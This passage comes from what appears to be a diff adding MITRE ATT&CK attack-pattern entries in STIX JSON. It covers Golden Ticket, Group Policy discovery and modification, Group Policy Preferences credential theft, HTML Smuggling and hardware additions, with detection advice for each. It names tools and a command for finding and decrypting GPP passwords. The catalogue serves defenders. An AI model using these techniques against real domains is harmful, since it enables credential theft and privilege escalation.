a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets)\n\nThe KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) and privileged access to a domain controller.", + "x_mitre_contributors": [ + "Itamar Mizrahi, Cymptom" + ], + "x_mitre_detection": "Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within TGTs, and TGS requests without preceding TGT requests.(Citation: ADSecurity Kerberos and KRBTGT)(Citation: CERT-EU Golden Ticket Protection)(Citation: Stealthbits Detect PtT 2019)\n\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1558/001", + "external_id": "T1558.001", + "source_name": "mitre-attack" + }, + { + "source_name": "AdSecurity Kerberos GT Aug 2015", + "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.", + "url": "https://adsecurity.org/?p=1640" + }, + { + "source_name": "CERT-EU Golden Ticket Protection", + "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.", + "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf" + }, + { + "source_name": "ADSecurity Detecting Forged Tickets", + "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.", + "url": "https://adsecurity.org/?p=1515" + }, + { + "source_name": "ADSecurity Kerberos and KRBTGT", + "description": "Sean Metcalf. (2014, November 10). Kerberos & KRBTGT: Active Directory\u2019s Domain Kerberos Service Account. Retrieved January 30, 2020.", + "url": "https://adsecurity.org/?p=483" + }, + { + "url": "https://blog.stealthbits.com/detect-pass-the-ticket-attacks", + "description": "Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.", + "source_name": "Stealthbits Detect PtT 2019" + }, + { + "url": "https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285", + "description": "Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.", + "source_name": "Microsoft Kerberos Golden Ticket" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Graphical User Interface", + "x_mitre_version": "2.0", + "modified": "2020-03-30T13:38:08.738Z", + "created": "2017-05-31T21:30:50.342Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "x_mitre_deprecated": true, + "id": "attack-pattern--a6525aec-acc4-47fe-92f9-b9b4de4b9228", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "description": "**This technique has been deprecated. Please use [Remote Services](https://attack.mitre.org/techniques/T1021) where appropriate.**\n\nThe Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.", + "x_mitre_remote_support": true, + "x_mitre_detection": "Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. \n\nUnknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of Legitimate Credentials to access remote systems within the network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1061", + "external_id": "T1061", + "source_name": "mitre-attack" + }, + { + "source_name": "Wikipedia Run Command", + "description": "Wikipedia. (2018, August 3). Run Command. Retrieved October 12, 2018.", + "url": "https://en.wikipedia.org/wiki/Run_command" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Group Policy Discovery", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content", + "Active Directory: Active Directory Object Access", + "Script: Script Execution", + "Command: Command Execution", + "Process: Process Creation" + ], + "x_mitre_version": "1.0", + "modified": "2021-10-15T23:16:28.296Z", + "created": "2021-08-06T13:10:12.916Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "id": "attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predicable network path \\\\SYSVOL\\\\Policies\\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)\n\nAdversaries may use commands such as gpresult or various publicly available PowerShell functions, such as Get-DomainGPO and Get-DomainGPOLocalGroup, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.", + "x_mitre_contributors": [ + "Ted Samuels, Rapid7", + "Jonhnathan Ribeiro, 3CORESec, @_w0rk3r" + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor for suspicious use of gpresult. Monitor for the use of PowerShell functions such as Get-DomainGPO and Get-DomainGPOLocalGroup and processes spawning with command-line arguments containing GPOLocalGroup.\n\nMonitor for abnormal LDAP queries with filters for groupPolicyContainer and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory service has been accessed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1615", + "external_id": "T1615", + "source_name": "mitre-attack" + }, + { + "url": "https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/", + "description": "srachui. (2012, February 13). Group Policy Basics \u2013 Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.", + "source_name": "TechNet Group Policy Basics" + }, + { + "url": "https://adsecurity.org/?p=2716", + "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.", + "source_name": "ADSecurity GPO Persistence 2016" + }, + { + "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult", + "description": "Microsoft. (2017, October 16). gpresult. Retrieved August 6, 2021.", + "source_name": "Microsoft gpresult" + }, + { + "source_name": "Github PowerShell Empire", + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "url": "https://github.com/EmpireProject/Empire" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Group Policy Modification", + "x_mitre_data_sources": [ + "Active Directory: Active Directory Object Creation", + "Active Directory: Active Directory Object Deletion", + "Active Directory: Active Directory Object Modification", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2021-02-09T15:52:24.315Z", + "created": "2020-12-28T21:50:59.844Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "id": "attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "description": "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path \\\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)\n\nFor example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)", + "x_mitre_contributors": [ + "Itamar Mizrahi, Cymptom", + "Tristan Bennett, Seamless Intelligence" + ], + "x_mitre_detection": "It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including:\n\n* Event ID 5136 - A directory service object was modified\n* Event ID 5137 - A directory service object was created\n* Event ID 5138 - A directory service object was undeleted\n* Event ID 5139 - A directory service object was moved\n* Event ID 5141 - A directory service object was deleted\n\n\nGPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1484/001", + "external_id": "T1484.001", + "source_name": "mitre-attack" + }, + { + "url": "https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/", + "description": "srachui. (2012, February 13). Group Policy Basics \u2013 Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.", + "source_name": "TechNet Group Policy Basics" + }, + { + "url": "https://adsecurity.org/?p=2716", + "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.", + "source_name": "ADSecurity GPO Persistence 2016" + }, + { + "url": "https://wald0.com/?p=179", + "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.", + "source_name": "Wald0 Guide to GPOs" + }, + { + "url": "http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/", + "description": "Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019.", + "source_name": "Harmj0y Abusing GPO Permissions" + }, + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf", + "description": "Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019.", + "source_name": "Mandiant M Trends 2016" + }, + { + "url": "https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/", + "description": "Microsoft Secure Team. (2016, June 1). Hacking Team Breach: A Cyber Jurassic Park. Retrieved March 5, 2019.", + "source_name": "Microsoft Hacking Team Breach" + }, + { + "url": "http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/", + "description": "Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved March 5, 2019.", + "source_name": "Harmj0y SeEnableDelegationPrivilege Right" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Group Policy Preferences", + "x_mitre_data_sources": [ + "File: File Access", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2020-06-17T14:25:38.082Z", + "created": "2020-02-11T18:43:06.253Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e", + "description": "Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)\n\nThese group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)\n\nThe following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:\n\n* Metasploit\u2019s post exploitation module: post/windows/gather/credentials/gpp\n* Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nOn the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: dir /s * .xml\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "x_mitre_detection": "Monitor for attempts to access SYSVOL that involve searching for XML files. \n\nDeploy a new XML file with permissions set to Everyone:Deny and monitor for Access Denied errors.(Citation: ADSecurity Finding Passwords in SYSVOL)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1552/006", + "external_id": "T1552.006", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v%3Dws.11)", + "description": "Microsoft. (2016, August 31). Group Policy Preferences. Retrieved March 9, 2020.", + "source_name": "Microsoft GPP 2016" + }, + { + "source_name": "Microsoft GPP Key", + "description": "Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April 11, 2018.", + "url": "https://msdn.microsoft.com/library/cc422924.aspx" + }, + { + "source_name": "Obscuresecurity Get-GPPPassword", + "description": "Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell. Retrieved April 11, 2018.", + "url": "https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html" + }, + { + "source_name": "ADSecurity Finding Passwords in SYSVOL", + "description": "Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Retrieved February 17, 2020.", + "url": "https://adsecurity.org/?p=2288" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-21T20:57:38.015Z", + "name": "HISTCONTROL", + "created": "2017-12-14T16:46:06.044Z", + "id": "attack-pattern--086952c4-5b90-4185-b573-02bad8e11953", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1148", + "external_id": "T1148", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/13.html", + "external_id": "CAPEC-13", + "source_name": "capec" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "HTML Smuggling", + "x_mitre_data_sources": [ + "File: File Creation" + ], + "x_mitre_version": "1.0", + "modified": "2021-10-18T12:03:12.510Z", + "created": "2021-05-20T12:20:42.219Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--d4dc46e3-5ba5-45b9-8204-010867cacfcb", + "x_mitre_defense_bypassed": [ + "Web content filters", + "Anti-virus", + "Static file analysis" + ], + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018)\n\nAdversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as text/plain and/or text/html. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters.\n\nFor example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as msSaveBlob.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)", + "x_mitre_contributors": [ + "Stan Hegt, Outflank", + "Jonathan Boucher, @crash_wave, Bank of Canada" + ], + "x_mitre_detection": "Detection of HTML Smuggling is difficult as HTML5 and JavaScript attributes are used by legitimate services and applications. HTML Smuggling can be performed in many ways via JavaScript, developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging.(Citation: Outlflank HTML Smuggling 2018) Detecting specific JavaScript and/or HTML5 attribute strings such as Blob, msSaveOrOpenBlob, and/or download may be a good indicator of HTML Smuggling. These strings may also be used by legitimate services therefore it is possible to raise false positives.\n\nConsider monitoring files downloaded from the Internet, possibly by HTML Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1027/006", + "external_id": "T1027.006", + "source_name": "mitre-attack" + }, + { + "url": "https://www.menlosecurity.com/blog/new-attack-alert-duri", + "description": "Subramanian, K. (2020, August 18). New HTML Smuggling Attack Alert: Duri. Retrieved May 20, 2021.", + "source_name": "HTML Smuggling Menlo Security 2020" + }, + { + "url": "https://outflank.nl/blog/2018/08/14/html-smuggling-explained/", + "description": "Hegt, S. (2018, August 14). HTML smuggling explained. Retrieved May 20, 2021.", + "source_name": "Outlflank HTML Smuggling 2018" + }, + { + "url": "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/", + "description": "Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.", + "source_name": "MSTIC NOBELIUM May 2021" + }, + { + "url": "https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/", + "description": "Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved May 20, 2021.", + "source_name": "nccgroup Smuggling HTA 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Hardware", + "x_mitre_data_sources": [ + "Internet Scan: Response Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-17T16:32:10.810Z", + "created": "2020-10-02T16:40:47.488Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--24286c33-d4a4-4419-85c2-1d094a896c26", + "description": "Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1592/001", + "external_id": "T1592.001", + "source_name": "mitre-attack" + }, + { + "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks", + "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.", + "source_name": "ATT ScanBox" + }, + { + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "source_name": "ThreatConnect Infrastructure Dec 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Hardware Additions", + "x_mitre_version": "1.2", + "modified": "2021-08-17T00:28:00.947Z", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9", + "description": "Adversaries may introduce computer accessories, computers, or networking hardware into a system or network that can be used as a vector to gain access. While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), addition of new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "x_mitre_detection": "Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. \n\nEndpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1200", + "external_id": "T1200", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/440.html", + "external_id": "CAPEC-440", + "source_name": "capec" + }, + { + "source_name": "Ossmann Star Feb 2011", + "description": "Michael Ossmann. (2011, February 17). Throwing Star LAN Tap. Retrieved March 30, 2018.", + "url": "https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html" + }, + { + "source_name": "Aleks Weapons Nov 2015", + "description": "Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding the virtual & physical tools used by white/black hat hackers. Retrieved March 30, 2018.", + "url": "https://www.youtube.com/watch?v=lDvf4ScWbcQ" + }, + { + "source_name": "Hak5 RubberDuck Dec 2016", + "description": "Hak5. (2016, December 7). Stealing Files with the USB Rubber Ducky \u2013 USB Exfiltration Explained. Retrieved March 30, 2018.", + "url": "https://www.hak5.org/blog/main-blog/stealing-files-with-the-usb-rubber-ducky-usb-exfiltration-explained" + }, + { + "source_name": "Frisk DMA August 2016", + "description": "Ulf Frisk. (2016, August 5). Direct Memory Attack the Kernel. Retrieved March 30, 2018.", + "url": "https://www.youtube.com/watch?v=fXthwl6ShOg" + }, + { + "source_name": "McMillan Pwn March 2012", + "description": "Robert McMillan. (2012, March 3). The Pwn Plug is a little white box that can hack your network. Retrieved March 30, 2018.", + "url": "https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Hidden File System", + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Modification", + "File: File Modification", + "Firmware: Firmware Modification" + ], + "x_mitre_version": "1.0", + "modified": "2020-06-29T15:12:11.024Z", + "created": "2020-06-28T22:55:55.719Z", + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04", + "description": "Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)\n\nAdversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Detecting the use of a hidden file system may be exceptionally difficult depending on the implementation. Emphasis may be placed on detecting related aspects of the adversary lifecycle, such as how malware interacts with the hidden file system or how a hidden file system is loaded. Consider looking for anomalous interactions with the Registry or with a particular file on disk. Likewise, if the hidden file system is loaded on boot from reserved disk space, consider shifting focus to detecting [Bootkit](https://attack.mitre.org/techniques/T1542/003) activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1564/005", + "external_id": "T1564.005", + "source_name": "mitre-attack" + }, + { + "url": "https://www.malwaretech.com/2014/11/virtual-file-systems-for-beginners.html", + "description": "Hutchins, M. (2014, November 28). Virtual File Systems for Beginners. Retrieved June 22, 2020.", + "source_name": "MalwareTech VFS Nov 2014" + }, + { + "source_name": "FireEye Bootkits", + "description": "Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", + "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.", + "source_name": "ESET ComRAT May 2020" + }, + { + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: 